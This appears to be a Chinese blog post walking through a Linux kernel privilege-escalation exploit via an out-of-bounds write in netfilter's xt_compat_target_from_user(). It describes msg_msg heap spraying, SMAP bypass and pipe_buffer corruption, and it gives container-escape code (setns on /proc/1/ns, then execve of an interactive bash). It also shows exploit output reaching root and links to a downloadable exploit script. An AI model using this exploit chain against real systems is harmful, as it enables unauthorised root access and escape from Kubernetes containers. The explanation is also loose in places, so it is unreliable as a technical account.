前言
最近看了一些linux内核的一些书籍,提权这块一直是硬伤,windows提权相对简单,但Linux真说不好,现在一般服务器都会架设防火墙,过防火墙最强大的方法应该就是通过内核了,因为防火墙的功能主要在于及时发现并处理计算机网络运行时可能存在的安全风险、数据传输等问题,其中处理措施包括隔离与保护,同时可对计算机网络安全当中的各项操作实施记录与检测,但防火墙是不会达不到内核那里的。
前期准备
地址:Ubuntu 5.8.0-48-generic
我们先部署一下
漏洞分析
内核源码:链接:https://pan.baidu.com/s/1dRhfrBkko5BSho7uVGrCPQ
提取码:kreu
c语言初始化函数容易出错的, 弱点在于 xt_compat_target_from_user()那里的 memcpy()用偏移量调用 target->targetsize在分配过程中没有考虑到这一点, 导致一些字节越界,也就是溢出。
虽然targetsize不受用户控制,但我们可以选择一个高达 76字节的偏移量越界完成提权。
我们的原语仅限于越界写入四个字节的0到 0x4C(76) 字节,目标是空闲列表指针,其中包括保护空闲列表指针。
接着我们发送数据msgsnd(),这时有效载荷被分成多个段
下一步我们初始化了很多消息队列,先使用 msgget.。然后,我们发送一条大小为 4096 的消息(包括 struct msg_msgheader) 用于每个消息队列使用 msgsnd(),定义为primary message。
使用 unix 套接字,可以很容易地设置 socketpair(),这样可以绕过绕过SMAP(管理程序模式执行保护)。
现在,我们可以使struct msg_msg它指向自己,用假泄漏地址,其对象为 mlist.next和 mlist.prev。请记住,目标linux也必须被分配 GFP_KERNEL_ACCOUNT. 攻击的最佳受害者是在其结构中具有函数指针的对象。
做完这些就可以弹出一个新shell了(root),回到现有用户,我们现在拥有更改 mnt、pid 和 net 命名空间的 root 权限,以逃离容器并脱离 kubernetespod。 用setns切换命名空间,将/proc/1/ns下的都加入命名空间。最终,弹出一个 rootshell界面。
setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
setns(open("/proc/1/ns/pid", O_RDONLY), 0);
setns(open("/proc/1/ns/net", O_RDONLY), 0);
char *args[] = {"/bin/bash", "-i", NULL};
execve(args[0], args, NULL);
xingshen@ubuntu:~$ ./exploit
[+] Linux by xingshen1
[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
* [*] Spraying fake pipe_buffer o bjects...
* [*] Releasing pipe_buffer o bjects...
* [*] Checking for root...
* [+] Root privileges gained.
*
* [*] Escaping container...
* [*] Cleaning up...
* [*] Popping root shell...
root@ubuntu:~$ id
uid=0(root) gid=0(root) groups=0(root)
结论
大神脚本链接:链接:https://pan.baidu.com/s/1XwWojejaJYm2ZkEM_Rs1aw
提取码:9lqc
关键性的原理就是memcpy溢出和恢复 RBP 的值并返回继续执行,这将立即使 free_pipe_info()返回。百度网盘失效联系我。